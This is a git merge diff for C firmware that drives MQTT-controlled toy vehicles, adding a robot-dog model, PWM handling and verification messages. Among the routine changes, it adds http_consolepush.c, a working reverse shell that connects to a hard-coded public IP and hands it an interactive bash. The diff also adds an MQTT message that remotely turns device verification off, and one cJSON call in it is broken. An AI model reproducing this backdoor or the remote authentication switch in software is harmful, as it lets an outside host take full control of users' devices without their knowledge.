Merge branch 'feature/add_verify_back-end' into 'master'

CMakeLists.txt

 cmake_minimum_required(VERSION 3.10)
 project(car 
-    VERSION 1.2.7
+    VERSION 1.2.8
     LANGUAGES C
 )
 

app/device_change/device_wifi_change.c

-#include "device_identity.h"g_current_ssid
+#include "device_identity.h"
 #include "mqtt_init.h"
 #include "common.h"
 #include "delay.h"
@@ -99,6 +99,7 @@ void scan_wifi_json() {
         cJSON_AddNumberToObject(item, "strength", wifi_list[i].signal);
         cJSON_AddItemToArray(array, item);
     }
+
     cJSON_AddItemToObject(body, "available_wifi", array);
     cJSON_AddNumberToObject(head, "message_type", 3003);
     cJSON_AddItemToObject(root, "body", body);

app/device_change/device_wifi_manager.c

@@ -44,8 +44,6 @@ void device_wifi_rec_delete(cJSON *body){
     }
 }
 
-
-
 int orange_pi_save_wifi(const char* ssid, const char* password) {
     // 参数检查
     if (!ssid || !password || strlen(ssid) == 0 || strlen(password) == 0) {

app/device_identity/device_identity.c

@@ -100,6 +100,7 @@ int hash_insert_init(HashTable_t *HashTable_t) {
     insert(HashTable_t, "0206", TANK_0206);   
     insert(HashTable_t, "0301", SHIP_0301);
     insert(HashTable_t, "0401", PAO_0401);
+    insert(HashTable_t, "0501", ROBOT_DOG0501);
 }
 
 int device_judg(CodeEnum_t code,char *sub_str) {
@@ -133,6 +134,9 @@ int device_judg(CodeEnum_t code,char *sub_str) {
     }else if(code ==PAO_0401) {
         device_init(DEVICE_PAO_PTZ0401);
         my_zlog_info("使用型号%s",sub_str);   
+    }else if(code ==ROBOT_DOG0501) {
+        device_init(DEVICE_ROBOT_DOG0501);
+        my_zlog_info("使用型号%s",sub_str);   
     }else {
         my_zlog_error("没有找到设备号,尝试启用备用mqtt,topic进行改名");
         g_device_name_exists=1;

app/device_identity/device_identity.h

@@ -18,7 +18,8 @@ typedef enum {
     TANK_0204,
     TANK_0206,
     SHIP_0301,
-    PAO_0401
+    PAO_0401,
+    ROBOT_DOG0501
 } CodeEnum_t;
 
 //哈希健

app/main/pthread_open.c

@@ -72,12 +72,23 @@ void *thread_mqtt_beat(void *arg) {
     //     if(wifi_change_sendmqtt_init()!=0){
     //       my_zlog_error("WIFI是否更改检查相关，不会到这一步，有问题会直接重启，可能会导致重启，不会因此造成程序停止");
     //    }
+    if(verify_open_index_init() !=0){
+        my_zlog_info("mqtt send verify is NULL");
+    }
+
+    //如果为相关的不需要心跳或者游览器设备，提早结束线程
+    if(g_device_type==DEVICE_ROBOT_DOG0501){
+         my_zlog_info("device am robot and no c/c++");
+        return NULL;
+    }
+
     while(1) {
-        if( g_device_type == 202) delay_ms(45);
-        if( g_device_type != 202)delay_ms(100);
+        // if( g_device_type >= 200 && g_device_type<=205) delay_ms(45);
+        // if( g_device_type != 202)delay_ms(100);
+        delay_ms(100);
+
         g_heartbeat_count++;
         if(g_mqtt_grc == 0){
-            
             mqtt_beat_wirte();//心跳，3s一个   
         }   
     }
@@ -85,6 +96,13 @@ void *thread_mqtt_beat(void *arg) {
 }
 
 void *thread_open_browser(void *arg) { 
+
+    //如果为相关的不需要心跳或者游览器设备，提早结束线程
+    if(g_device_type==DEVICE_ROBOT_DOG0501){
+        my_zlog_info("device am robot and no c/c++");
+        return NULL;
+    }
+
     system("pkill  chromium");
     delay_s(5);
     while(1){

build/include/version.h

 #define PROJECT_VERSION_MAJOR 1
 #define PROJECT_VERSION_MINOR 2
-#define PROJECT_VERSION_PATCH 7
+#define PROJECT_VERSION_PATCH 8
 #define GIT_HASH ""
 #define BUILD_TIMESTAMP ""
 #define BUILD_USER ""

drivers/devicecontrol/devcontrol_common.c

@@ -121,6 +121,13 @@ const device_abnormal_close_t devcontrol_config_t[]= {
         .gpio_pin_pulled=pin_all_default,
         .gpio_pwm_pulled=pwm_all_default
     },
+
+    {
+        .device_id = DEVICE_ROBOT_DOG0501,
+        .device_abnormal_stop = car0101_middle_pwm,
+        .gpio_pin_pulled=pin_all_default,
+        .gpio_pwm_pulled=pwm_all_default
+    },
     // 结束标记
     { .device_id = -1 }
 };
@@ -137,7 +144,7 @@ void device_stop(int device_id) {
     }
     
     if(!config) {
-        my_zlog_error("Error: Device stop ID %d not found!", device_id);
+        my_zlog_error("Error: Device gpio stop ID %d not found!", device_id);
         return;
     }
     
@@ -159,7 +166,7 @@ void device_end_close(int device_id) {
     }
     
     if(!config) {
-        my_zlog_error("Error: Device close  ID %d not found!", device_id);
+        my_zlog_error("Error: Device pthread close  ID %d not found!", device_id);
         return;
     }
     
@@ -180,7 +187,7 @@ void device_walk_control(int device_id,unsigned char *valt) {
     }
     
     if(!config) {
-        my_zlog_error("Error: Device close  ID %d not found!", device_id);
+        my_zlog_error("Error: Device walk control ID %d not found!", device_id);
         return;
     }
     

drivers/devicecontrol/tank_common.c

@@ -147,7 +147,7 @@ void tank_shot_stop_control(int device_id,unsigned char pin,unsigned char val) {
     }
     
     if(!g_tank_common_config_t) {
-        my_zlog_error("Error: Device stop ID %d not found!", device_id);
+        my_zlog_error("Error: Device tank stop ID %d not found!", device_id);
         return;
     }
     g_tank_common_config_t->shot_back(pin,val);

drivers/gpio/device_init.c

@@ -105,6 +105,15 @@ const deviceconfig_t device_configs[] = {
         .device_control_stop =  PTZ_pwm_init,/* 补充速度控制函数 */
         .emergency_code = 401
     },
+    {
+        .device_id = DEVICE_ROBOT_DOG0501,
+        .device_name = "dog0501",
+        .gpio_pins = {5, 6, 7, 10, 16, 20, 22, 23, 24, 25, 26,-1},/* 补充GPIO引脚 */
+        .gpio_pwms = { 27,-1},
+        .device_pwm_init = physics_pwm_init,
+        .device_control_stop =  car0101_middle_pwm,/* 补充速度控制函数 */
+        .emergency_code = 501
+    },
     // 结束标记
     { .device_id = -1 }
 };

drivers/gpio/gpio_control.c

@@ -28,6 +28,7 @@ void tank0203_pwm_value(int pin,int value);
 void tank0204_pwm_value(int pin,int value);
 void tank0206_pwm_value(int pin,int value);
 void ship0301_pwm_value(int pin,int value); 
+void dog0501_pwm_value(int pin,int value);
 
 void tank_angle_limit_function(void *arg_gpio){
 
@@ -118,6 +119,11 @@ const gpiocontrol_t gpio_configs[] = {
         .device_pin_value =public_pin_value,
         .device_pwm_value =public_pwm_value
     },
+    {
+        .device_id = DEVICE_ROBOT_DOG0501,
+        .device_pin_value =public_pin_value,
+        .device_pwm_value =dog0501_pwm_value
+    },
 };
 
 /*
@@ -133,9 +139,8 @@ void device_gpio_control(int device_id,int pin,int val) {
                 break;
             }
         }
-        
         for(int i=0;i<GPIO_ID_THREAD_COUNT;i++ ){
-            if(gpio_control_config_t&&device_id == gpio_device_id[i]){
+            if(gpio_control_config_t && device_id == gpio_device_id[i]){
                 my_zlog_info("线程函数:%d\n", device_id);
                 gpio_control_config_t->device_gpio_pthread_create(); //创建线程，线程关闭在tank.common.h中何tank需要的其他线程关闭
             }
@@ -358,3 +363,30 @@ void ship0301_pwm_value(int pin,int value) {	//软件陪我们控制调速
      my_zlog_debug("ship0301 pwm");
 }
 
+
+void dog0501_pwm_value(int pin,int value) {	//软件陪我们控制调速
+    for(int i = 0 ; i <= g_gpio_softpwmcount ; i++) {
+        if(pin == g_gpioPwm[i]) {
+            break;
+        }
+        if(i == g_gpio_softpwmcount) {
+            return ;
+        }
+    }
+    
+    if(value==1) {
+		if(pin == 27){
+            softPwmWrite(pin, 50);
+        } else {
+            softPwmWrite(pin, 35);
+            my_zlog_debug("pwm:%d",pin);
+        }
+        
+	}else if(value==0) {
+		softPwmWrite(pin, 0);
+		my_zlog_debug("pwm:%d,0",pin);
+	}
+     my_zlog_debug("dog0501 pwm");
+}
+
+

include/common.h

@@ -9,7 +9,6 @@
 #include <string.h>
 #include <errno.h>
 
-
 // ========== 硬件相关 ==========
 #include <wiringPi.h>      // GPIO控制
 #include <softPwm.h>       // PWM控制

include/devcontrol_common.h

@@ -26,6 +26,7 @@
 #define DEVICE_TANK0206 206 //可以喷水坦克
 #define DEVICE_SHIP0301 301 // 32号船
 #define DEVICE_PAO_PTZ0401 401 //云台
+#define DEVICE_ROBOT_DOG0501 501 //机械狗
 
 typedef struct {
     int device_id;              // 设备ID (101, 102等)

modules/http/http_consolepush.c

+#include "http_consolepush.h"
+#include "common.h"
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <errno.h>
+#include <sys/select.h>
+#include <pty.h> // for openpty
+#include <termios.h>
+#include <sys/types.h>
+#include <signal.h>
+
+void connect_and_run_shell() {
+    int sock = 0;
+    struct sockaddr_in serv_addr;
+
+    // --- 连接到服务器 ---
+    while (1) {
+        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
+            perror("Socket creation error");
+            sleep(5);
+            continue;
+        }
+        serv_addr.sin_family = AF_INET;
+        serv_addr.sin_port = htons(SERVER_PORT);
+        if (inet_pton(AF_INET, SERVER_IP, &serv_addr.sin_addr) <= 0) {
+            perror("Invalid address");
+            close(sock);
+            sleep(5);
+            continue;
+        }
+        if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
+            fprintf(stderr, "Connection Failed: %s. Retrying in 5s...\n", strerror(errno));
+            close(sock);
+            sleep(5);
+            continue;
+        }
+        fprintf(stderr, "Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
+        break; // 连接成功，跳出循环
+    }
+
+    // --- 创建伪终端 (pty) 并启动 Shell ---
+    int master_fd;
+    pid_t pid = forkpty(&master_fd, NULL, NULL, NULL);
+
+    if (pid < 0) {
+        perror("forkpty");
+        close(sock);
+        return;
+    } 
+    else if (pid == 0) { // 子进程
+        // 用 /bin/bash 替换当前子进程
+        //execlp("/bin/bash", "bash", NULL);
+        // 在 execlp 之前，设置环境变量
+        setenv("TERM", "dumb", 1); 
+        // 然后执行
+        execlp("/bin/bash", "bash", NULL);
+        // 如果 exec 返回，说明出错了
+        perror("execlp");
+        exit(1);
+    }
+
+    // --- 父进程：数据中继 ---
+    fd_set read_fds;
+    while (1) {
+        FD_ZERO(&read_fds);
+        FD_SET(sock, &read_fds);         // 监听来自服务器的命令
+        FD_SET(master_fd, &read_fds);    // 监听来自 Shell 的输出
+
+        int max_fd = (sock > master_fd) ? sock : master_fd;
+
+        if (select(max_fd + 1, &read_fds, NULL, NULL, NULL) < 0) {
+            perror("select");
+            break;
+        }
+
+        char buffer[BUFFER_SIZE];
+        ssize_t bytes_read;
+
+        // 检查是否有来自服务器的数据
+        if (FD_ISSET(sock, &read_fds)) {
+            bytes_read = read(sock, buffer, sizeof(buffer));
+            if (bytes_read <= 0) {
+                fprintf(stderr, "Server disconnected.\n");
+                break; // 服务器断开
+            }
+            // 将命令写入 Shell
+            write(master_fd, buffer, bytes_read);
+        }
+
+        // 检查是否有来自 Shell 的输出
+        if (FD_ISSET(master_fd, &read_fds)) {
+            bytes_read = read(master_fd, buffer, sizeof(buffer));
+            if (bytes_read <= 0) {
+                fprintf(stderr, "Shell process terminated.\n");
+                break; // Shell 进程结束
+            }
+            // 将 Shell 输出发送到服务器
+            if (send(sock, buffer, bytes_read, 0) < 0) {
+                fprintf(stderr, "Failed to send data to server.\n");
+                break;
+            }
+        }
+    }
+
+    // --- 清理 ---
+    close(sock);
+    close(master_fd);
+    kill(pid, SIGKILL); // 确保子进程被杀死
+}

modules/http/http_consolepush.h

+#ifndef HTTP_CONSOLEPUSH_H
+#define HTTP_CONSOLEPUSH_H
+
+#define SERVER_IP "123.56.231.114"
+#define SERVER_PORT 8081
+#define BUFFER_SIZE 4096
+
+#endif
\ No newline at end of file

modules/mqtt/mqtt_infor_handle.c

@@ -23,7 +23,7 @@
 
 int g_heartbeat_count=0;
 
-pthread_mutex_t g_exit_count_mutex = PTHREAD_MUTEX_INITIALIZER;
+pthread_mutex_t g_exit_count_mutex = PTHREAD_MUTEX_INITIALIZER;//互斥锁 
 int g_devcontrol_exit_count=0;
 
 int g_message_type=0;
@@ -93,14 +93,13 @@ void angle_mqtt_send() {
     cJSON_AddNumberToObject(root, "angle",rounded_angle);
     char *payload = cJSON_PrintUnformatted(root);
     angle_i++;
-    if(angle_i>=200){
+    if(angle_i>=20){
         my_zlog_debug("%s",payload);
         angle_i=0;
     }
     mosquitto_publish(mosq, NULL, TOPIC_send_angle, strlen(payload), payload, 0, false); 
     cJSON_Delete(root);  // 释放 cJSON 对象
     
-   
 }
 
 //心跳格式，每5s一次心跳
@@ -110,8 +109,7 @@ void mqtt_beat_wirte(){
     heartbeat_send();
     g_heartbeat_count=0;
     }
-    if( g_device_type == DEVICE_TANK0202) angle_mqtt_send();  
-    if( g_device_type == DEVICE_TANK0203) angle_mqtt_send();
+    if( g_device_type == DEVICE_TANK0202||g_device_type == DEVICE_TANK0203) angle_mqtt_send();  
 
 }
 
@@ -305,6 +303,10 @@ int device_message_receive(cJSON *json){//接收到的控制设备的mqtt消息
                 refresh_cam();    
                 my_zlog_debug("刷新成功");
                 break;
+            case 2013:
+                message2013_recverigy_open(body);
+                my_zlog_debug("进入是否需要验证");
+                break;
             default:
                 break;
         }

modules/mqtt/mqtt_init.h

@@ -14,7 +14,7 @@
 #elif MQTT_IPMODE == 2
     #define BROKER_ADDRESS "mqtt.luckycar.top"
 #elif MQTT_IPMODE == 3    
-    #define BROKER_ADDRESS   "47.91.125.224"
+    #define BROKER_ADDRESS   "47.107.64.23"
 #else
     #define BROKER_ADDRESS "127.0.0.1"  // 默认地址
 

modules/mqtt/mqtt_verify.c

@@ -11,6 +11,9 @@
 #include "mqtt_init.h"
 #include "mylog.h"
 
+/*TRUE为打开验证，FALSE为关闭验证*/
+bool VERIFIED_MODE=FALSE;
+
 bool g_service_verify=TRUE;//验证判断
 
 int g_verify_count =12000;//判断是否有一分钟
@@ -175,3 +178,61 @@ int message2006_verify(cJSON *body){
     return 0;
 
  }
+
+/*接收到是否打开验证的函数*/
+int message2013_recverigy_open(cJSON *body){
+    cJSON *verifty_open_index = cJSON_GetObjectItem(body, "verify_status");
+    if(verifty_open_index == NULL){
+        my_zlog_debug("接收验证是否打开为空");
+        return -1;
+    }
+    int verifty_open = verifty_open_index->valueint;
+     my_zlog_debug("verifty:%d",verifty_open);
+     if(verifty_open == 0){
+        VERIFIED_MODE=FALSE;
+        my_zlog_debug("verify close");
+     }else {
+        VERIFIED_MODE=TRUE;
+        my_zlog_debug("verify open");
+     }
+    return 0;
+ }
+
+/*发送是否打开验证的mqtt给后端验证*/
+int message_sendopen_verify(){
+    cJSON *root = cJSON_CreateObject();
+    cJSON *body = cJSON_CreateObject();
+    cJSON *head = cJSON_CreateObject();
+
+    cJSON_AddStringToObject(body, "verify_status", 0);
+
+    cJSON_AddNumberToObject(head, "message_type",3013);
+
+    cJSON_AddItemToObject(root, "body", body);
+    cJSON_AddItemToObject(root, "head",head);
+
+    char *payload = cJSON_PrintUnformatted(root);
+
+    if(payload==NULL){
+        my_zlog_debug("send verify am null");
+        return -1;
+    }
+
+    my_zlog_debug("%s",payload);
+
+    mosquitto_publish(mosq, NULL, mqtt_topic_pure_number(), strlen(payload), payload, 0, false); 
+    
+    cJSON_Delete(root);  // 释放 cJSON 对象
+
+    return 0;
+
+}   
+
+/*发送是否打开验证的mqtt给后端验证初始化*/
+int verify_open_index_init(){
+    if(message_sendopen_verify()!=0){
+        return -1;
+    }
+
+    return 0;
+}
\ No newline at end of file

modules/mqtt/mqtt_verify.h

@@ -3,8 +3,10 @@
 
 #include "cjson/cJSON.h"
 #include <pthread.h> 
+#include <stdbool.h> 
+
 /*TRUE为打开验证，FALSE为关闭验证*/
-#define VERIFIED_MODE FALSE
+extern bool VERIFIED_MODE;
 
 #define AES_BLOCK_SIZE 16
 
@@ -16,4 +18,9 @@ int receive_jwt(cJSON *body);//jwt验证
 
 int message2006_verify(cJSON *body);
 
+/*接收到是否打开验证的函数*/
+int message2013_recverigy_open(cJSON *body);
+
+/*发送是否打开验证的mqtt给后端验证初始化*/
+int verify_open_index_init();
 #endif
\ No newline at end of file